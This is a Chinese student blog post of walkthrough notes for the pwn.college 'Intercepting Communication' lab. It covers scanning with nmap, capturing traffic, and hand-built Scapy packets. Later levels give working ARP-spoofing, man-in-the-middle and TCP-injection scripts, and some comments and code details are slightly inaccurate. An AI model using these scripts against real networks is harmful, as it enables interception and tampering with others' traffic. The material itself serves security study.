【入门笔记】CSE 365 - Fall 2024之Intercepting Communication(pwn.college)

【入门笔记】CSE 365 - Fall 2024之Intercepting Communication(pwn.college)

level1 连接到远程主机

查看解析
为了知道目标远程主机的ip地址,我们运行`/challenge/run`开启远程主机环境
再使用nc连接到远程主机的特定端口

level2 监听来自远程主机的连接

监听来自远程主机的连接是指在计算机网络中,某个服务或应用程序在特定的网络端口上等待并接受来自其他计算机(即远程主机)的连接请求。这是网络通信的基本机制,允许客户端与服务器之间进行数据交换。

image-20241031165530444

查看解析
nc -l
使用`-l`表示“监听”(listen),使用这个选项,netcat 将在指定的端口上等待连接,而不是尝试连接到远程主机

level3 查找并连接到远程主机

nmap

nmap(Network Mapper)是一种开源的网络扫描和安全审计工具,广泛用于网络探索和安全评估。它可以帮助用户识别网络中的主机、服务、操作系统以及其他网络信息。

主要功能

  1. 主机发现
    • 确定网络中存活的主机。可以通过 ping 扫描、ARP 扫描等方式发现活动设备。
  2. 端口扫描
    • 检查主机上开放的端口,确定哪些服务在运行。常用的扫描类型包括 TCP SYN 扫描、全连接扫描和 UDP 扫描。
  3. 服务识别
    • 确定每个开放端口上运行的服务,包括版本信息,帮助评估潜在的安全漏洞。
  4. 操作系统检测
    • 通过分析网络包的响应,推测目标主机的操作系统及其版本。
  5. 脚本引擎
    • 使用 Nmap Scripting Engine (NSE),用户可以编写和使用脚本来自动化各种扫描任务,例如漏洞检测和网络服务信息收集。
  6. 网络拓扑映射
    • 生成网络结构的可视化图,帮助用户理解网络的布局和连接。

【笔记】Nmap工具原理探索 - Super_Snow_Sword - 博客园

查看解析
使用`nmap`扫描活动设备ip
`nmap 10.0.0.0/24`
在 10.0.0.0/24 中,主机可用的 IP 地址范围是从 10.0.0.1 到 10.0.0.254

level4 查找并连接到大型网络上的远程主机

查看解析
使用`nmap`扫描活动设备ip
`nmap 10.0.0.0/16`
在 10.0.0.0/16 中,包含 IP 地址范围从 10.0.0.0 到 10.0.255.255共65536个地址
为了加快扫描速度,我们添加"--min-parallelism"指定最小并行扫描的数量
`nmap --min-parallelism 6000 10.0.0.0/16`

level5 从远程主机监视流量

wireshark

Wireshark 是一个广泛使用的网络协议分析工具,它能够捕获和详细分析网络流量。以下是对 Wireshark 的介绍,包括其功能、使用场景和基本操作:

主要功能

  1. 数据包捕获
    • Wireshark 可以实时捕获网络流量,支持多种网络接口(如以太网、Wi-Fi 等)。
  2. 协议分析
    • 能够解析和分析数百种网络协议,如 TCP、UDP、HTTP、DNS、ARP 等,用户可以查看每个协议层的详细信息。
  3. 数据过滤
    • 提供强大的过滤功能,用户可以根据协议、IP 地址、端口号等条件过滤捕获的数据包,帮助聚焦于感兴趣的流量。
  4. 流量重组
    • Wireshark 可以将分散的 TCP 数据流重新组装,以便更清晰地查看完整的通信内容。
  5. 图形界面
    • 提供用户友好的图形界面,用户可以通过可视化工具方便地浏览和分析网络数据。
  6. 导入和导出
    • 支持多种文件格式,用户可以将捕获的数据保存为不同格式的文件,以便于后续分析或共享。

使用场景

  1. 网络故障排除
    • 系统管理员和网络工程师使用 Wireshark 诊断网络问题,分析流量以识别瓶颈和错误。
  2. 安全分析
    • 安全专业人员使用 Wireshark 检测和分析网络攻击、恶意流量或未授权的访问。
  3. 协议开发
    • 开发人员可以使用 Wireshark 调试和验证新开发的网络协议。
  4. 教育和培训
    • 用于网络课程和培训,帮助学生和新手理解网络协议和数据包结构。
查看解析
使用`wireshark`程序并且监视`eth0`网络接口的流量,我们能在一些tcp协议的数据包中收到data数据

image-20241031181122209

level6 从远程主机监视缓慢的流量

查看解析
使用`wireshark`程序并且监视`eth0`网络接口的流量,我们能在一些tcp流中收到data数据
wireshark查看tcp流教程:https://www.cnblogs.com/handsomexuejian/p/18302560#tid-bksGa6

image-20241031194136234

level7 通过配置网络接口从远程主机劫持流量

tcpdump

tcpdump 是一个强大的命令行网络数据包捕获和分析工具,广泛用于网络故障排查和安全分析。以下是对 tcpdump 的详细介绍:

主要功能

  1. 数据包捕获
    • tcpdump 能够捕获通过网络接口传输的数据包,并在终端显示或保存到文件中。
  2. 过滤器
    • 可以使用复杂的过滤表达式,仅捕获满足特定条件的数据包(如特定 IP 地址、端口号或协议)。
  3. 协议解析
    • tcpdump 能够解析多种网络协议,如 TCP、UDP、ICMP 等,方便用户理解捕获的数据包内容。
  4. 实时监控
    • 可以实时显示数据包流量,有助于即时监控网络活动。

ip

在 Linux 中,ip 命令是一个强大的工具,用于网络管理和配置。它是 iproute2 包的一部分,取代了传统的 ifconfig 命令。

基本用法

  1. 查看网络接口

    ip addr show
    

    或者简写为:

    ip a
    

    这个命令用于显示所有网络接口及其配置信息,包括 IP 地址、MAC 地址和状态。

  2. 添加 IP 地址

    ip address add 192.168.1.10/24 dev eth0
    

    这个命令用于为指定的网络接口(如 eth0)添加一个新的 IP 地址。

  3. 删除 IP 地址

    ip address del 192.168.1.10/24 dev eth0
    

    这个命令用于从指定的网络接口中删除一个 IP 地址。

  4. 查看路由表

    ip route show
    

    该命令显示当前系统的路由表。

  5. 添加路由

    ip route add 10.0.0.0/24 via 192.168.1.1
    

    这个命令用于添加一条新的路由,指定数据包应该通过哪个网关发送。

  6. 删除路由

    ip route del 10.0.0.0/24
    

    用于删除指定的路由。

查看解析
这次挑战中位于“10.0.0.4”的远程主机正在端口“31337”上与位于“10.0.0.2”的远程主机通信。
我们首先`tcpdump -i any` 用于实时监控网络流量,捕获和查看从远程主机 10.0.0.4 发送到端口 31337 的所有数据包(也能用wireshark进行分析)`-i`指定要监控的网络接口,`any`表示监听系统中所有可用的网络接口
我们可以发现每隔一段时间 10.0.0.4 都会发送ARP包来寻找 10.0.0.2 
接下来将指定的 IP 地址分配给网络接口 eth0,使该接口能够在指定的网络上进行通信
`ip address add 10.0.0.2 dev eth0`通过将 10.0.0.2 配置为该接口的 IP 地址,这样我们的主机就能够与 10.0.0.4 进行通信
然后我们监听31337端口,等待 10.0.0.4 给我们传flag
nc -l 31337

image-20241031204135960

level8 手动发送以太数据包(Ethernet packet)

Ethernet packet

以太网数据包(Ethernet packet)是计算机网络中用于在局域网(LAN)中传输数据的基本单位。位于OSI模型的第二层,也就是数据链路层(Data Link Layer)。

以太网数据包的结构

以太网数据包通常由以下几个部分组成:

  • 前导码(Preamble):通常为 7 字节,帮助接收设备同步时钟。
  • 帧开始定界符(Start Frame Delimiter, SFD):1 字节,指示数据包的开始。
  • 源 MAC 地址(Source MAC Address):6 字节,发送设备的物理地址。
  • 目标 MAC 地址(Destination MAC Address):6 字节,接收设备的物理地址。
  • 类型字段(Type Field):2 字节,指示上层协议(如 IPv4 或 IPv6)。
  • 负载(Payload):数据部分,通常为 46 至 1500 字节,包含实际传输的数据。
  • 帧校验序列(Frame Check Sequence, FCS):4 字节,用于检测数据包在传输过程中是否发生了错误。

工作原理

  • 数据传输:以太网数据包通过网络交换机和网络接口卡在设备之间进行传输。每个设备都有唯一的 MAC 地址,网络中的设备通过这个地址来识别数据包的目标。
  • 数据封装:在发送数据时,操作系统将数据封装成以太网数据包,并添加必要的头部信息。

Scapy

Scapy 是一个强大的 Python 库,用于网络包的创建、发送、嗅探和解析。它广泛应用于网络安全、渗透测试、网络监控和协议分析等领域。以下是 Scapy 的一些主要特性和功能:

主要特性

  1. 灵活的包创建
    • Scapy 允许用户以非常灵活的方式构建各种网络协议的数据包,包括 Ethernet、IP、TCP、UDP、ICMP 等。
    • 用户可以自定义数据包的各个字段,支持嵌套协议。
  2. 发送和接收数据包
    • 用户可以通过简单的命令发送数据包到网络,并接收响应。
    • Scapy 支持在指定接口上发送和接收数据包。
  3. 嗅探功能
    • Scapy 可以实时捕获和分析网络流量,支持各种过滤条件。
    • 用户可以根据协议类型、IP 地址、端口号等过滤捕获的数据包。
  4. 协议分析
    • Scapy 提供了多种工具和方法来分析和解析捕获的数据包。
    • 用户可以轻松地提取数据包的各个字段和信息。
  5. 扩展性
    • Scapy 支持插件,用户可以根据需要扩展其功能。
    • 可以通过自定义协议实现特定的网络分析需求。

应用场景

  • 渗透测试:用于测试网络的安全性,包括发现开放端口、执行扫描和构造恶意数据包等。
  • 网络故障排除:通过捕获和分析网络流量,帮助识别网络故障的原因。
  • 协议研究:用于研究和测试新的网络协议,验证协议的实现和功能。
查看解析
在这个挑战中,您将手动发送一个以太网数据包。数据包应该有‘ Ether type=0xFFFF ’。该数据包应该被发送到位于“10.0.0.3”的远程主机。
为了构造以太网数据包,我们首先要获取我们的物理地址`ip a`
然后我们使用scapy库,可以直接使用`scapy`
from scapy.all import * 	#这行代码导入Scapy库中的所有功能和类,以便在后续的代码中使用。这意味着可以直接使用Scapy的各种功能而不需要每次都加上scapy.前缀。
sendp(
	Ether(
		src="<你的物理地址>", type=0xFFFF)
	/IP(
		src="10.0.0.2", dst="10.0.0.3")
	, iface="eth0")	
# sendp() 函数用于发送以太网层的数据包;
#Ether()一个构造以太网帧的函数,用于定义以太网帧的各个字段,src指定源 MAC 地址,type指定以太网类型,表示上层协议的类型;
#`/IP()`中`/`是一种使用操作符重载的语法,其中 Ether(以太网层)是外层,而 IP(网络层)是内层。`IP()`是一个构造 IP 数据包的函数,设置源和目标 IP 地址。以太网帧作为数据链路层的协议,会包含上层协议(如 IP 数据包)的信息;
#`iface`用于指定要通过哪个网络接口发送数据包

level9 手动发送IP数据包(Internet Protocol packet)

Internet Protocol packet

IP数据包是网络层的基本数据单元,用于在计算机网络中传输数据。它封装了发送方和接收方的地址信息,并携带了要传输的数据(称为有效载荷)

查看解析
在这个挑战中,您将手动发送一个Internet协议数据包。数据包应该有‘ IP proto=0xFF ’。数据包应该被发送到远程主机‘ 10.0.0.3 ’
为了构造以IP数据包,我们首先要获取我们的物理地址`ip a`
然后我们使用scapy库,可以直接使用`scapy`
from scapy.all import *
sendp(
	Ether(
		src="<你的物理地址>")
	/IP(
		proto=0xFF,src='10.0.0.2',dst='10.0.0.3')
	,iface='eth0')
#proto=0xFF 指定 IP 数据包的协议字段

level10 手动发送TCP数据包(Transmission Control Protocol)

Transmission Control Protocol

传输控制协议(TCP,Transmission Control Protocol)是一种面向连接的、可靠的传输层协议,广泛应用于互联网通信。它的主要作用是确保在网络中数据的可靠传输,并保证数据的顺序和完整性。TCP连接原理可以查看: 【TCP三次握手和四次挥手】

查看解析
在这个挑战中,您将手动执行传输控制协议握手。初始数据包应该具有“TCP sport=31337, dport=31337, seq=31337”。握手应该发生在远程主机‘ 10.0.0.3 ’处。
scapy
from scapy.all import *
sendp(
	Ether(
		src=get_if_hwaddr("eth0"))
	/ IP(
		src="10.0.0.2", dst="10.0.0.3")
	/ TCP(
		sport=31337, dport=31337, seq=31337, ack=31337, flags="APRSF")
	, iface="eth0")
#sport	设置源端口
#dport	设置目标端口
#seq	设置 TCP 的序列号
#ack	设置 TCP 的确认号
#flags="APRSF"	设置 TCP 标志位,组合了以下标志:
#A: ACK(确认)
#P: PSH(推送)
#R: RST(重置)
#S: SYN(同步)
#F: FIN(结束)

level11 手动执行TCP协议握手

查看解析
在这个挑战中,您将手动执行传输控制协议握手。初始数据包应该具有“TCP sport=31337, dport=31337, seq=31337”。握手应该发生在远程主机‘ 10.0.0.3 ’处。
scapy
from scapy.all import *
results, unanswered = 
srp(
	Ether(
		src=get_if_hwaddr("eth0"), dst="ff:ff:ff:ff:ff:ff")
	/IP(
		src="10.0.0.2", dst="10.0.0.3")
	/TCP(
		sport=31337, dport=31337, seq=31337, flags="S")
	, iface="eth0") 
#results 是接收到的响应列表,unanswered 是未收到响应的数据包列表;
#srp()函数用于发送并接收数据包,适合需要响应的场景;
#dst="ff:ff:ff:ff:ff:ff"说明目标 MAC 地址为广播地址,表示发送给网络中的所有设备。
query, answer = results[0]	#从 results 中提取第一个响应。
							#query 代表发送的数据包,answer 代表收到的响应数据包。
sendp(
	Ether(
		src=get_if_hwaddr("eth0"), dst="ff:ff:ff:ff:ff:ff")
	/IP(
		src="10.0.0.2", dst="10.0.0.3")
	/TCP(
		sport=31337, dport=31337, seq=answer["TCP"].ack, ack=answer["TCP"].seq+1, flags="A")
	, iface="eth0")
#seq=answer["TCP"].ack	将序列号设置为收到的 ACK。
#ack=answer["TCP"].seq + 1	设置确认号为接收到的序列号加 1。
#flags="A"	设置 TCP 标志为 ACK(确认)。

image

level12 手动发送ARP协议报文(Address Resolution Protocol packet)

Address Resolution Protocol packet

地址解析协议(Address Resolution Protocol,ARP)是一种用于在局域网(LAN)中将网络层地址(通常是 IP 地址)解析为数据链路层地址(通常是 MAC 地址)的协议。ARP 是在网络通信中非常重要的一部分,因为设备通过 MAC 地址进行直接通信。

查看解析
在这个挑战中,您将手动发送一个地址解析协议数据包。数据包应该有“ARP op=is-at”,并正确地通知远程主机可以找到发送者的位置。数据包应该被发送到远程主机‘ 10.0.0.3 ’。
scapy 
from scapy.all import * 
sendp(
	Ether(
		src=get_if_hwaddr("eth0"), dst="ff:ff:ff:ff:ff:ff")
	/ARP(
		op="is-at", psrc="10.0.0.2", hwsrc=get_if_hwaddr("eth0"), pdst="10.0.0.4")
	, iface="eth0")
#op="is-at"	表示该 ARP 包是一个 ARP 响应(“is-at”表示“是位于”)。这表明发送者要告知其他设备自己的 IP 地址和对应的 MAC 地址
#psrc="10.0.0.2"	设置源 IP 地址,表示发送者的 IP 地址。
#hwsrc	表示发送者的 MAC 地址
#pdst="10.0.0.4":设置目标 IP 地址,表示要告知的设备 IP 地址。

level13 使用ARP劫持远程主机的流量

查看解析
在这个挑战中,您将使用ARP劫持来自远程主机的流量。
您不具备NET管理员的能力。位于“10.0.0.4”的远程主机正在端口“31337”上与位于“10.0.0.2”的远程主机通信。
scapy 
from scapy.all import * 
sendp(
	Ether(
		src=get_if_hwaddr("eth0"), dst="ff:ff:ff:ff:ff:ff")
	/ARP(op="is-at", psrc="10.0.0.2", hwsrc=get_if_hwaddr("eth0"), pdst="10.0.0.4"), iface="eth0")
#发送一个 ARP 响应包(ARP Reply),通知网络中的设备,IP 地址 10.0.0.4 对应的 MAC 地址是当前设备的 MAC 地址。这实际上是欺骗网络中的其他设备,使它们认为此设备是 10.0.0.4 的“合法”持有者。
exit
ip addr add 10.0.0.2 dev eth0	#在网络接口 eth0 上添加一个新的 IP 地址 10.0.0.2,子网掩码默认为 /24 。这使得当前设备能够与其他在 10.0.0.0/24 网段的设备进行通信。
nc -l 31337

一条视频讲清楚什么是ARP协议-ARP攻击又是什么

level14 两个远程主机之间的中间人流量并注入额外的流量

查看解析
在这个挑战中,您将管理两台远程主机之间的中间流量,并注入额外的流量。位于“10.0.0.4”的远程主机正在端口“31337”上与位于“10.0.0.3”的远程主机通信。
scapy 
from scapy.all import * 
sendp(
	Ether(
		src=get_if_hwaddr("eth0"), dst="ff:ff:ff:ff:ff:ff")
	/ARP(
		op="is-at", psrc="10.0.0.3", pdst="10.0.0.4")
	,iface="eth0") 
sendp(
	Ether(
		src=get_if_hwaddr("eth0"), dst="ff:ff:ff:ff:ff:ff")
	/ARP(
		op="is-at", psrc="10.0.0.4", pdst="10.0.0.3")
	,iface="eth0")
#第一个数据包:告知网络中的设备(特别是 10.0.0.4)“10.0.0.3”的 MAC 地址是当前设备的 MAC 地址。这使得 10.0.0.4 在发送数据包时,将数据包发往当前设备,而不是实际的 10.0.0.3。
#第二个数据包:告知网络中的设备(特别是 10.0.0.3)“10.0.0.4”的 MAC 地址是当前设备的 MAC 地址。这样,10.0.0.3 也会将数据包发送到当前设备,而不是实际的 10.0.0.4。
之后我们要构造一个脚本,要做到:
1.查看捕获到的 TCP 数据包
2.在特定条件下(原始负载的第一个字节为 "C")发送一个新数据包
from scapy.all import *
def inject(pkt): 
    # 定义一个名为 inject 的函数,用于处理捕获到的数据包 pkt
    # 打印数据包信息
    print("--- PKT: ---") 
    # 打印源 IP 和目标 IP 地址
    print(f"src: {pkt[IP].src},   dst: {pkt[IP].dst}") 
    # 打印源端口和目标端口
    print(f"sport: {pkt[TCP].sport},   dport: {pkt[TCP].dport}") 
    # 打印序列号和确认号
    print(f"seq: {pkt.seq},   ack: {pkt.ack}") 
    # 打印 TCP 标志位
    print(f"flags: {pkt[TCP].flags}") 
    # 检查数据包中是否包含原始负载
    if(Raw in pkt): 
        # 如果存在原始负载,打印其内容
        print(f"load: {pkt[Raw].load}")                                                  
    # 判断原始负载的第一个字节是否是字符 "C"
    if(pkt[Raw].load[0] == ord("C")): 
        # 如果是,则发送一个新的数据包
        sendp(
            Ether(
            	src=pkt[Ether].dst, dst=pkt[Ether].src)
            /IP(
            	src=pkt[IP].dst, dst=pkt[IP].src)
            /TCP(
                sport=pkt[TCP].dport, 
                dport=pkt[TCP].sport, 
                seq=pkt.ack, 
                ack=(pkt.seq + len(pkt[Raw].payload)), 
                flags="PA") 
             /Raw(load="FLAG\n"), 
        iface="eth0"
        )  
    # 打印数据包的时间戳
    print(f"time: {pkt.time}\n") 
# 开始嗅探 tcp 数据包,当捕获到数据包时调用 inject 函数进行处理
sniff(filter="tcp", iface="eth0", prn=inject)

最后这一段还是不太清楚以后会努力搞明白的(挖坑)

posted @ 2024-11-01 00:23  Super_Snow_Sword  阅读(87)  评论(0编辑  收藏  举报